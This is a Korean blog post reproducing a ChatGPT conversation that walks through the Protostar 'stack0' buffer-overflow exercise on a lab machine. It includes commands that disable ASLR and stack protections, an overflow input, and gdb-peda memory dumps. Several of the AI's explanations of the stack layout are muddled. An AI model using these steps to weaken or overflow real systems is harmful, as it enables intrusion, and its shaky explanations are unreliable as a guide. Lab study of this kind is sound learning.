호그와트

GPT-4랑 프로토스타 기본 프로그램을 가지고 직접 실습을 해보았다.

영웅*^%&$ 2023. 6. 2. 13:49
728x90

 

네, 맞습니다. Exploit Education에서 제공하는 Protostar의 실습 코드들을 이용해 컴파일하여 실습하는 것도 가능합니다.

다음은 이를 위한 기본적인 단계입니다:

메모리 보호기법 해제

Linux에서 메모리 보호기법을 해제하는 가장 일반적인 방법 중 하나는 컴파일러 옵션을 사용하는 것입니다. -z execstack 옵션은 스택에 실행 권한을 부여하며, -fno-stack-protector 옵션은 스택 보호기법을 비활성화합니다.

bash

Copy code

gcc -z execstack -fno-stack-protector -o output source.c

이 명령은 source.c 파일을 컴파일하여 output이라는 실행 파일을 생성합니다. 이때, 스택 보호기법이 비활성화되고 스택에 실행 권한이 부여됩니다.

Address Space Layout Randomization(ASLR) 비활성화

ASLR도 메모리 보호기법 중 하나로, 메모리 주소를 예측하기 어렵게 만드는 기법입니다. 이를 비활성화하려면 다음과 같은 명령을 사용합니다.

bash

Copy code

echo 0 > /proc/sys/kernel/randomize_va_space

이 명령은 root 권한이 필요하므로, sudo를 사용해 실행해야 합니다.

이렇게 하면 리눅스 메모리 보호기법을 최대한 해제한 상태에서 실습 코드를 컴파일하고 실행할 수 있습니다. 다만, 이러한 실습은 안전한 환경에서만 진행되어야 하며, 실제 환경에서는 절대로 실행하지

User

sudo echo 0 > /proc/sys/kernel/randomize_va_space

bash: /proc/sys/kernel/randomize_va_space: Permission denied

ChatGPT

해당 명령어는 root 권한이 필요하기 때문에 sudo를 사용해야 합니다. 하지만 리다이렉션 연산자(>)는 bash 셸에 의해 처리되기 때문에 sudo의 효과가 적용되지 않습니다.

따라서, 이 문제를 해결하기 위해 tee 명령어를 사용하거나, 셸 자체를 sudo로 실행하는 방법을 사용할 수 있습니다.

tee 명령어를 사용하는 방법:

bash

Copy code

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

셸 자체를 sudo로 실행하는 방법:

bash

Copy code

sudo bash -c 'echo 0 > /proc/sys/kernel/randomize_va_space'

이 두 가지 방법 중 어느 것을 사용해도 괜찮습니다. 이러한 방법을 사용하면 root 권한이 필요한 리다이렉션 작업을 수행할 수 있습니다.

User

'

┌─[eu-academy-2]─[10.10.14.101]─[htb-ac-592046@htb-pontewxbvu]─[~]

└──╼ [★]$ cat stack0.c

#include <stdlib.h>

#include <unistd.h>

#include <stdio.h>

int main(int argc, char **argv)

{

volatile int modified;

char buffer[64];

modified = 0;

gets(buffer);

if(modified != 0) {

printf("you have changed the 'modified' variable\n");

} else {

printf("Try again?\n");

}

}

┌─[eu-academy-2]─[10.10.14.101]─[htb-ac-592046@htb-pontewxbvu]─[~]

└──╼ [★]$ ./stack0 | python3 -c 'print('A'*100)'

'

아주 안전한 환경에서 실습하는 중이에요

제 생각에는 버퍼 gets로 받는 걸 넘겨서 받아서 modified 변수를 변경시키면

'you have changed the 'modified' variable' 이 내용이 뜰 거 같아요

맞나요? 어떻게 잘 변경시켜야 할까요 ?

ChatGPT

네, 맞습니다. 이 경우에는 스택 버퍼 오버플로우 공격이 발생하게 됩니다.

buffer 배열은 64바이트의 크기를 갖지만, gets() 함수는 입력의 길이를 검사하지 않고 버퍼를 채웁니다. 따라서 입력이 64바이트를 초과하면 modified 변수의 값이 변경될 수 있습니다.

따라서, 64바이트를 초과하는 입력을 제공하여 modified 변수의 값을 변경하는 것이 목표입니다.

다음과 같이 입력을 제공해보세요.

bash

Copy code

python3 -c 'print("A"*65)' | ./stack0

위의 명령은 65바이트의 'A' 문자열을 출력하고, 그 출력 결과를 ./stack0 프로그램의 입력으로 제공합니다. 따라서 buffer를 넘치게 만들고 modified 변수의 값을 변경하게 됩니다.

User

'python3 -c 'print("A"*65)' | ./stack0

Try again?

┌─[eu-academy-2]─[10.10.14.101]─[htb-ac-592046@htb-pontewxbvu]─[~]

└──╼ [★]$ python3 -c 'print("A"*122)' | ./stack0

you have changed the 'modified' variable

' 정말 재미있게도 이렇게 뜨네요?

이유가 뭘까요 ?

ChatGPT

출력된 결과를 보면 "you have changed the 'modified' variable" 메시지가 출력된 것을 확인할 수 있습니다. 이는 buffer의 크기를 넘는 데이터를 입력함으로써 modified 변수가 변경되었음을 의미합니다.

하지만, "A"를 65번 출력했을 때에는 "Try again?"이 출력되었으나, 122번 출력했을 때에는 "you have changed the 'modified' variable"가 출력된 점이 흥미로워 보입니다. 이는 아마도 스택 메모리의 구조와 관련이 있을 것입니다.

프로그램의 스택 메모리는 함수의 로컬 변수와 return address 등을 저장하는 공간입니다. 일반적으로, 스택은 상단부터 하단으로 쌓이며, 로컬 변수가 할당된 후 return address가 위치하게 됩니다. 따라서, buffer 오버플로우가 발생하면 로컬 변수를 넘어 return address를 덮어쓸 가능성이 있습니다.

본 코드에서 modified 변수와 buffer는 동일한 함수 스택 프레임 내에 있으며, 그 순서는 컴파일러의 최적화 방식에 따라 달라집니다. 따라서 buffer에서 overflow가 발생하면 modified 변수를 덮어쓸 수 있습니다.

그러나, 여기서 흥미로운 점은 'A'를 65번 출력했을 때와 122번 출력했을 때 결과가 다르다는 점입니다. 이는 아마도 컴파일러나 시스템 아키텍처에 따라 스택 프레임 내의 변수

User

65번 출력해서 run 할 때와 122번 출력해서 run 할 때를 각기 메모리 상태를 보고 싶어요 gdb-peda를 이용해서 실습할 때 그 양 측 상태를 모두 보려면 어떤 순서를 따라가면 될까요? 구체적인 명령어 순서를 모두 보여주세요

ChatGPT

먼저 GDB를 이용해 프로그램을 디버깅하려면, 프로그램이 디버깅 정보를 포함하도록 컴파일되어야 합니다. -g 플래그를 사용해 프로그램을 재컴파일합니다.

bash

Copy code

gcc -g -o stack0 stack0.c

이후, gdb-peda를 사용해 디버깅을 시작합니다.

bash

Copy code

gdb -q ./stack0

다음으로, main 함수의 시작 부분에 브레이크포인트를 설정합니다.

bash

Copy code

break main

이후 프로그램을 실행하되, 입력을 제공합니다. 예를 들어, "A"*65를 제공하려면 다음과 같이 실행합니다.

bash

Copy code

run <<< $(python3 -c 'print("A"*65)')

프로그램이 브레이크포인트에서 일시 정지하면, 스택의 상태를 확인할 수 있습니다.

bash

Copy code

x/80x $sp

이 명령은 스택 포인터($sp)에서 시작하는 80개의 16진수 값을 출력합니다.

비슷한 방식으로, "A"*122에 대한 스택의 상태를 확인할 수 있습니다. 프로그램을 다시 시작하고("A"*122를 입력으로 제공하면서) 스택의 상태를 확인하면 됩니다.

bash

Copy code

run <<< $(python3 -c 'print("A"*122)')

x/80x $sp

이러한 방식으로 "A"*65와 "A"*122를 입력으로 제공했을 때의 스택 상태를 비교할 수 있습니다. 이를 통해 modified 변수에 어떤 값이 어떻게 쓰여지는지 관찰할 수 있습니다.

User

┌─[eu-academy-2]─[10.10.14.101]─[htb-ac-592046@htb-pontewxbvu]─[~]

└──╼ [★]$ echo "source ~/peda/peda.py" >> ~/.gdbinit

┌─[eu-academy-2]─[10.10.14.101]─[htb-ac-592046@htb-pontewxbvu]─[~]

└──╼ [★]$ gdb -q ./stack0

Reading symbols from ./stack0...

gdb-peda$ break main

Breakpoint 1 at 0x1154: file stack0.c, line 10.

gdb-peda$ run <<< $(python3 -c 'print("A"*65)')

Starting program: /home/htb-ac-592046/stack0 <<< $(python3 -c 'print("A"*65)')

[----------------------------------registers-----------------------------------]

RAX: 0x555555555145 (<main>: push rbp)

RBX: 0x0

RCX: 0x7ffff7fa8718 --> 0x7ffff7fa9e20 --> 0x0

RDX: 0x7fffffffe018 --> 0x7fffffffe327 ("SHELL=/bin/bash")

RSI: 0x7fffffffe008 --> 0x7fffffffe30c ("/home/htb-ac-592046/stack0")

RDI: 0x1

RBP: 0x7fffffffdf10 --> 0x5555555551a0 (<__libc_csu_init>: push r15)

RSP: 0x7fffffffdeb0 --> 0x7fffffffe008 --> 0x7fffffffe30c ("/home/htb-ac-592046/stack0")

RIP: 0x555555555154 (<main+15>: mov DWORD PTR [rbp-0x4],0x0)

R8 : 0x0

R9 : 0x7ffff7fe21b0 (<_dl_fini>: push rbp)

R10: 0x80

R11: 0x206

R12: 0x555555555060 (<_start>: xor ebp,ebp)

R13: 0x0

R14: 0x0

R15: 0x0

EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)

[-------------------------------------code-------------------------------------]

0x555555555149 <main+4>: sub rsp,0x60

0x55555555514d <main+8>: mov DWORD PTR [rbp-0x54],edi

0x555555555150 <main+11>: mov QWORD PTR [rbp-0x60],rsi

=> 0x555555555154 <main+15>: mov DWORD PTR [rbp-0x4],0x0

0x55555555515b <main+22>: lea rax,[rbp-0x50]

0x55555555515f <main+26>: mov rdi,rax

0x555555555162 <main+29>: mov eax,0x0

0x555555555167 <main+34>: call 0x555555555040 <gets@plt>

[------------------------------------stack-------------------------------------]

0000| 0x7fffffffdeb0 --> 0x7fffffffe008 --> 0x7fffffffe30c ("/home/htb-ac-592046/stack0")

0008| 0x7fffffffdeb8 --> 0x100000000

0016| 0x7fffffffdec0 --> 0x0

0024| 0x7fffffffdec8 --> 0x3009205

0032| 0x7fffffffded0 --> 0x555555554040 --> 0x400000006

0040| 0x7fffffffded8 --> 0x5555555551e5 (<__libc_csu_init+69>: add rbx,0x1)

0048| 0x7fffffffdee0 --> 0x0

0056| 0x7fffffffdee8 --> 0x0

[------------------------------------------------------------------------------]

Legend: code, data, rodata, value

Breakpoint 1, main (argc=0x1, argv=0x7fffffffe008) at stack0.c:10

10 modified = 0;

A를 65번 출력해서 넣었을 때 이렇게 나오네요 정말 흥미롭네요

지금 메모리 상태는 어떤가요?

그리고 왜 65번만 했을 때는 modified 변수가 바뀌지 않았을까요 ?

ChatGPT

메모리 상태를 보시면 스택 포인터($sp)가 0x7fffffffdeb0을 가리키고 있습니다. x/80x $sp를 실행하여 스택을 보면 아마도 "A"*65가 스택에 채워진 것을 볼 수 있을 것입니다. 물론 이것은 메모리 주소체계나 실행 환경에 따라 달라질 수 있습니다.

그런데 여기서 핵심은 modified 변수가 아직 바뀌지 않았다는 것입니다. 이 변수는 main 함수의 스택 프레임에 할당되어 있으며, 버퍼 오버플로우 공격이 이 변수를 변경하는 것을 목표로 합니다. "A"*65를 입력하면 buffer[64]가 가득 차게 되지만, 아직 modified 변수가 있는 부분까지는 도달하지 못했습니다.

즉, buffer[64]에 "A"*65를 쓰면 buffer 배열은 가득 차게 되지만, 그 이후의 메모리는 건드리지 않게 됩니다. 따라서 modified 변수는 그대로 0의 값을 유지하게 됩니다. 이것이 "A"*65를 입력했을 때 modified 변수가 바뀌지 않은 이유입니다.

그런데 만약 "A"*122를 입력한다면 어떻게 될까요? 이 경우 buffer를 넘어서 이후의 메모리까지 쓰기 시작하게 됩니다. 따라서 modified 변수도 변경되게 될 것입니다. 이것이 버퍼 오버플로우 공격의 기본 원리입니다.

User

Breakpoint 1, main (argc=0x1, argv=0x7fffffffe008) at stack0.c:10

10 modified = 0;

gdb-peda$ x/80x $sp

0x7fffffffdeb0: 0x00007fffffffe008 0x0000000100000000

0x7fffffffdec0: 0x0000000000000000 0x0000000003009205

0x7fffffffded0: 0x0000555555554040 0x00005555555551e5

0x7fffffffdee0: 0x0000000000000000 0x0000000000000000

0x7fffffffdef0: 0x00005555555551a0 0x0000555555555060

0x7fffffffdf00: 0x00007fffffffe000 0x0000000000000000

0x7fffffffdf10: 0x00005555555551a0 0x00007ffff7dfdd0a

0x7fffffffdf20: 0x00007fffffffe008 0x00000001ffffe2e9

0x7fffffffdf30: 0x0000555555555145 0x00007ffff7dfd8e9

0x7fffffffdf40: 0x0000000000000000 0x0d04c2baa7adff79

0x7fffffffdf50: 0x0000555555555060 0x0000000000000000

0x7fffffffdf60: 0x0000000000000000 0x0000000000000000

0x7fffffffdf70: 0x585197efbaadff79 0x585187afbd6bff79

0x7fffffffdf80: 0x0000000000000000 0x0000000000000000

0x7fffffffdf90: 0x0000000000000000 0x0000000000000001

0x7fffffffdfa0: 0x00007fffffffe008 0x00007fffffffe018

0x7fffffffdfb0: 0x00007ffff7ffe180 0x0000000000000000

0x7fffffffdfc0: 0x0000000000000000 0x0000555555555060

0x7fffffffdfd0: 0x00007fffffffe000 0x0000000000000000

0x7fffffffdfe0: 0x0000000000000000 0x000055555555508a

0x7fffffffdff0: 0x00007fffffffdff8 0x000000000000001c

0x7fffffffe000: 0x0000000000000001 0x00007fffffffe30c

0x7fffffffe010: 0x0000000000000000 0x00007fffffffe327

0x7fffffffe020: 0x00007fffffffe337 0x00007fffffffe399

0x7fffffffe030: 0x00007fffffffe3ab 0x00007fffffffe3be

0x7fffffffe040: 0x00007fffffffe3d2 0x00007fffffffe3dd

0x7fffffffe050: 0x00007fffffffe41d 0x00007fffffffe434

0x7fffffffe060: 0x00007fffffffe448 0x00007fffffffe484

0x7fffffffe070: 0x00007fffffffe4b2 0x00007fffffffe4ca

0x7fffffffe080: 0x00007fffffffe4dd 0x00007fffffffe4ec

0x7fffffffe090: 0x00007fffffffe508 0x00007fffffffe533

0x7fffffffe0a0: 0x00007fffffffe54b 0x00007fffffffe561

0x7fffffffe0b0: 0x00007fffffffe59b 0x00007fffffffe5aa

0x7fffffffe0c0: 0x00007fffffffe5b3 0x00007fffffffe5cc

0x7fffffffe0d0: 0x00007fffffffe5dd 0x00007fffffffe5f2

0x7fffffffe0e0: 0x00007fffffffebe1 0x00007fffffffebfa

0x7fffffffe0f0: 0x00007fffffffec06 0x00007fffffffec32

0x7fffffffe100: 0x00007fffffffec43 0x00007fffffffec61

0x7fffffffe110: 0x00007fffffffec75 0x00007fffffffec8d

0x7fffffffe120: 0x00007fffffffeca0 0x00007fffffffecab

어 근데 'x/80x $sp 해씅ㄹ 때

A가 들어간 흔적이 발견되지 않는 거 같은데요 ?

ChatGPT

x/80x $sp 명령은 $sp 레지스터가 가리키는 메모리 위치에서 시작해서 80개의 16진수 값을 출력합니다. 그러나 이 값들은 메모리의 원시 바이트 값들이며, ASCII 문자인 "A"는 이진 코드로 0x41에 해당합니다. 따라서 "A" 문자가 메모리에 쓰여졌다면 이 값이 어딘가에 나타날 것입니다.

그러나 현재 보이는 메모리 덤프에서 "A" 문자가 보이지 않는 것은 여러 가지 이유 때문일 수 있습니다.

스택 포인터($sp)가 buffer의 시작 지점을 가리키고 있지 않을 수 있습니다. 이 경우, $sp 위치에서 80개의 값이 buffer 내용을 포함하지 않을 수 있습니다.

아직 입력이 buffer에 쓰여지지 않았을 수 있습니다. 이 경우, gets() 함수가 아직 호출되지 않았으므로 buffer에는 아직 아무것도 쓰여지지 않았을 것입니다.

마지막으로, "A" 문자는 0x41로 표현되며 이것은 메모리 덤프에서 볼 때 명확하게 보이지 않을 수 있습니다. 메모리 덤프는 4바이트 또는 8바이트 단위로 표시되기 때문에 0x41 값이 포함된 워드는 0x41414141 또는 0x4141414141414141와 같이 보일 것입니다. 이러한 패턴이 보이지 않는다면 "A" 문자가 메모리에 쓰여지지 않았거나 이미 보이는 메모리 덤프 범위를 벗어났을 수 있습니다.

즉, "A" 문자가 메모리 덤프에서 보이지 않는 이유는 아직 gets() 함수가 호출되지 않았거나 스택 포인터가 buffer의 시작 위치를 가리키고 있지 않거나 메모리 덤프 범위가 buffer 내용을 포함하지 않는 범위일 수 있습니다.

User

흠 그럼 일단 한 줄씩 실행해봐야 한다는 건데 한 줄씩 실행하는 명령어가 뭐죠? gdb-peda,에서요

ChatGPT

gdb-peda에서 한 줄씩 실행하는 데에는 여러 가지 명령어가 있습니다:

next: 현재 라인을 실행하고 다음 라인으로 넘어갑니다. 이 때, 현재 라인이 함수 호출일 경우, 그 함수의 내부를 건너뛰고 바로 다음 라인으로 이동합니다.

step: 현재 라인을 실행하고 다음 라인으로 넘어갑니다. 하지만 현재 라인이 함수 호출일 경우, step 명령어는 해당 함수의 첫 번째 라인으로 이동합니다.

nexti와 stepi: next와 step의 기능을 가지고 있지만, 명령어 단위로 동작합니다. 즉, 다음 라인이 아니라 다음 명령어로 이동합니다.

따라서, 프로그램을 한 줄씩 실행하고 싶다면 next 또는 step 명령어를 사용하면 됩니다. 함수 호출 내부로 들어가지 않고 넘어가려면 next, 함수 호출 내부로 들어가려면 step을 사용하면 됩니다.

User

위에서 실습했던 문맥 그대로 일단 gets 함수까지는 진행시키고 나서

메모리 상황이에요

0000| 0x7fffffffdeb0 --> 0x7fffffffe008 --> 0x7fffffffe30c ("/home/htb-ac-592046/stack0")

0008| 0x7fffffffdeb8 --> 0x100000000

0016| 0x7fffffffdec0 ('A' <repeats 65 times>)

0024| 0x7fffffffdec8 ('A' <repeats 57 times>)

0032| 0x7fffffffded0 ('A' <repeats 49 times>)

0040| 0x7fffffffded8 ('A' <repeats 41 times>)

0048| 0x7fffffffdee0 ('A' <repeats 33 times>)

0056| 0x7fffffffdee8 ('A' <repeats 25 times>)

[------------------------------------------------------------------------------]

Legend: code, data, rodata, value

13 if(modified != 0) {

gdb-peda$ x/80x $sp

0x7fffffffdeb0: 0x08 0xe0 0xff 0xff 0xff 0x7f 0x00 0x00

0x7fffffffdeb8: 0x00 0x00 0x00 0x00 0x01 0x00 0x00 0x00

0x7fffffffdec0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0x7fffffffdec8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0x7fffffffded0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0x7fffffffded8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0x7fffffffdee0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0x7fffffffdee8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0x7fffffffdef0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0x7fffffffdef8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

gdb-peda$ x/130x $sp

0x7fffffffdeb0: 0x08 0xe0 0xff 0xff 0xff 0x7f 0x00 0x00

0x7fffffffdeb8: 0x00 0x00 0x00 0x00 0x01 0x00 0x00 0x00

0x7fffffffdec0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0x7fffffffdec8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0x7fffffffded0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0x7fffffffded8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0x7fffffffdee0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0x7fffffffdee8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0x7fffffffdef0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0x7fffffffdef8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0x7fffffffdf00: 0x41 0x00 0xff 0xff 0xff 0x7f 0x00 0x00

0x7fffffffdf08: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00

0x7fffffffdf10: 0xa0 0x51 0x55 0x55 0x55 0x55 0x00 0x00

0x7fffffffdf18: 0x0a 0xdd 0xdf 0xf7 0xff 0x7f 0x00 0x00

0x7fffffffdf20: 0x08 0xe0 0xff 0xff 0xff 0x7f 0x00 0x00

0x7fffffffdf28: 0xe9 0xe2 0xff 0xff 0x01 0x00 0x00 0x00

0x7fffffffdf30: 0x45 0x51

0x41이 잘 담겼네요 그러나 여전히 modified 변수가 왜 변하지 않았는지는 잘 모르겠어요 지금 이 실습에서 왜 변하지 않았는지까지 알려면 어떤 명령어가 필요할까요 ?

ChatGPT

modified 변수가 변하지 않은 이유를 알기 위해선 modified 변수의 주소를 찾아 해당 주소의 메모리를 직접 확인해봐야 합니다. 이를 위해서 print &modified 명령을 사용하면 modified 변수의 주소를 알 수 있습니다. 그 후 x/x 명령을 사용하여 해당 주소의 메모리 상황을 확인할 수 있습니다.

print &modified : modified 변수의 주소 출력

x/x &modified : modified 변수의 현재 값 확인

위의 두 명령어를 사용하여 modified 변수의 메모리 상태를 확인해보세요. 여기서 주의할 점은, 스택 버퍼 오버플로우가 발생하여 modified 변수가 변경되었다면, modified 변수의 값은 0이 아닌 다른 값이어야 합니다.

같이 실습을 해보니, 메모리 구조에 대한 이해도 완벽하고 각각이 뜻하는 거 뿐만 아니라 어떤 명령어가 적합한지 부터 해서 정말 그 쓰임과 뜻을 완벽히 이해하여 자유자재로 가지고 놀 수 있다는 게 정말 놀라웠다.

(물론, 이 실습 내용 자체는 굉장히 기본적인 내용이다. 그리고 사실 아주 쉬운 내용이기도 하다. 다만 저렇게 까지 깊은 이해를 가지고 분석과 실습을 직접 할 수 있느냐 없느냐 하는 것은 큰 차이이다.)

그리고 사실 이 블로그에서 말할 수는 없겠지만, 내가 직접 실습해본 결과 GPT-4의 exploit을 만들어내는 능력은 이미 최상급 해커와 준하는 수준이었다. 사실 어떤 면에서는 더 낫기도 하고

GPT-4 참 재미있다

728x90